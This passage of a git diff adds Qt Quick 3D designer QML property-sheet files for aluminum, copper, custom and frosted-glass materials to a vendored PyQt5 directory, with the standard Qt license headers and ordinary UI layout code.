"QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Emission") + width: parent.width + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Intensity") + tooltip: qsTr("Set the emission intensity.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.intensity + Layout.fillWidth: true + } + } + Label { + text: qsTr("Map Texture") + tooltip: qsTr("Defines a texture for emissive map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.emissive_texture_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("MaskTexture") + tooltip: qsTr("Defines a texture for emissive mask.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.emissive_mask_texture_texture + defaultItem: qsTr("Default") + } + } + } + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Mask Offset") + tooltip: qsTr("Sets the mask offset of emissive map.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + width: parent.width + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.emissive_mask_offset_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.emissive_mask_offset_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.emissive_mask_offset_z + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + + Section { + caption: qsTr("Emission Color") + width: parent.width + ColorEditor { + caption: qsTr("Emission Color") + backendValue: backendValues.emission_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Metal Color") + width: parent.width + ColorEditor { + caption: qsTr("Metal Color") + backendValue: backendValues.metal_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Roughness") + width: parent.width + SectionLayout { + Label { + text: qsTr("Map Offset") + tooltip: qsTr("Set the material roughness map offset.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness_map_offset + Layout.fillWidth: true + } + } + Label { + text: qsTr("Map scale") + tooltip: qsTr("Set the material roughness map scale.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness_map_scale + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for roughness map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.roughness_texture_texture + defaultItem: qsTr("Default") + } + } + } + } + Section { + caption: qsTr("Reflection") + width: parent.width + + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Map Offset") + tooltip: qsTr("Set the material reclection map offset.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflection_map_offset + Layout.fillWidth: true + } + } + Label { + text: qsTr("Map scale") + tooltip: qsTr("Set the material reclection map scale.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflection_map_scale + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for reflection map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.reflection_texture_texture + defaultItem: qsTr("Default") + } + } + } + + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Tiling") + tooltip: qsTr("Sets the tiling repeat of the reflection map.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.tiling_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.tiling_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.tiling_z + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + Section { + caption: qsTr("Bump") + width: parent.width + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Set the bump map bumpiness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bump_amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for bump map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.bump_texture_texture + defaultItem: qsTr("Default") + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumEmissiveMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumEmissiveMaterialSpecifics.qml new file mode 100644 index 00000000..577f0eaf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumEmissiveMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + AluminumEmissiveMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumMaterialSection.qml new file mode 100644 index 00000000..2f338193 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumMaterialSection.qml @@ -0,0 +1,306 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 +import StudioTheme 1.0 as StudioTheme + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Metal Color") + width: parent.width + ColorEditor { + caption: qsTr("Metal Color") + backendValue: backendValues.metal_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Roughness") + width: parent.width + SectionLayout { + Label { + text: qsTr("Map Offset") + tooltip: qsTr("Set the material roughness map offset.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness_map_offset + Layout.fillWidth: true + } + } + Label { + text: qsTr("Map scale") + tooltip: qsTr("Set the material roughness map scale.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness_map_scale + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for roughness map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.roughness_texture_texture + defaultItem: qsTr("Default") + } + } + } + } + Section { + caption: qsTr("Reflection") + width: parent.width + + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Map Offset") + tooltip: qsTr("Set the material reclection map offset.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflection_map_offset + Layout.fillWidth: true + } + } + Label { + text: qsTr("Map scale") + tooltip: qsTr("Set the material reclection map scale.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflection_map_scale + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for reflection map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.reflection_texture_texture + defaultItem: qsTr("Default") + } + } + } + + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Tiling") + tooltip: qsTr("Sets the tiling repeat of the reflection map.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.tiling_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.tiling_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 100 + minimumValue: 1 + decimals: 0 + backendValue: backendValues.tiling_z + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + Section { + caption: qsTr("Bump") + width: parent.width + SectionLayout { + Label { + text: qsTr("Amount") + tooltip: qsTr("Set the bump map bumpiness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bump_amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for bump map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.bump_texture_texture + defaultItem: qsTr("Default") + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumMaterialSpecifics.qml new file mode 100644 index 00000000..642c07c2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/AluminumMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + AluminumMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CopperMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CopperMaterialSection.qml new file mode 100644 index 00000000..345622fb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CopperMaterialSection.qml @@ -0,0 +1,131 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Metal Color") + width: parent.width + ColorEditor { + caption: qsTr("Metal Color") + backendValue: backendValues.metal_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Roughness") + tooltip: qsTr("Set the material roughness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CopperMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CopperMaterialSpecifics.qml new file mode 100644 index 00000000..001c6ba4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CopperMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + CopperMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CustomMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CustomMaterialSection.qml new file mode 100644 index 00000000..bf540c5e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CustomMaterialSection.qml @@ -0,0 +1,160 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + caption: qsTr("Custom Material") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Transparency") + tooltip: qsTr("Specifies if the material has transparency.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.hasTransparency.valueToString + backendValue: backendValues.hasTransparency + Layout.fillWidth: true + } + } + Label { + text: qsTr("Refraction") + tooltip: qsTr("Specifies if the material has refraction.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.hasRefraction.valueToString + backendValue: backendValues.hasRefraction + Layout.fillWidth: true + } + } + Label { + text: qsTr("Always Dirty") + tooltip: qsTr("Specifies if the material needs to be refreshed every time it is used.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.alwaysDirty.valueToString + backendValue: backendValues.alwaysDirty + Layout.fillWidth: true + } + } + Label { + text: qsTr("Shader Info") + tooltip: qsTr("Shader info for the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.ShaderInfo" + Layout.fillWidth: true + backendValue: backendValues.shaderInfo + } + } + Label { + text: qsTr("Passes") + tooltip: qsTr("Render passes of the material.") + } + SecondColumnLayout { + EditableListView { + backendValue: backendValues.passes + model: backendValues.passes.expressionAsList + Layout.fillWidth: true + typeFilter: "QtQuick3D.Pass" + + onAdd: function(value) { backendValues.passes.idListAdd(value) } + onRemove: function(idx) { backendValues.passes.idListRemove(idx) } + onReplace: function (idx, value) { backendValues.passes.idListReplace(idx, value) } + } + } + } + } + + Section { + // Copied from quick3d's MaterialSection.qml + caption: qsTr("Material") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Light Probe") + tooltip: qsTr("Defines a texture for overriding or setting an image based lighting texture for use with this material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.lightProbe + } + } + Label { + text: qsTr("Displacement Map") + tooltip: qsTr("Defines a grayscale image used to offset the vertices of geometry across the surface of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.displacementMap + } + } + Label { + text: qsTr("Displacement Amount") + tooltip: qsTr("Controls the offset amount for the displacement map.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.displacementAmount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Culling Mode") + tooltip: qsTr("Defines whether culling is enabled and which mode is actually enabled.") + } + ComboBox { + scope: "Material" + model: ["BackFaceCulling", "FrontFaceCulling", "NoCulling"] + backendValue: backendValues.cullMode + Layout.fillWidth: true + } + } + } +} + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CustomMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CustomMaterialSpecifics.qml new file mode 100644 index 00000000..ada74545 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/CustomMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + CustomMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassMaterialSection.qml new file mode 100644 index 00000000..65b1f6c1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassMaterialSection.qml @@ -0,0 +1,501 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 +import StudioTheme 1.0 as StudioTheme + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + + Section { + caption: qsTr("Glass Color") + width: parent.width + ColorEditor { + caption: qsTr("Glass Color") + backendValue: backendValues.glass_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Band Light Color") + width: parent.width + ColorEditor { + caption: qsTr("Band Light Color") + backendValue: backendValues.intLightCol + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Bump") + width: parent.width + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Scale") + tooltip: qsTr("Set the scale of the bump 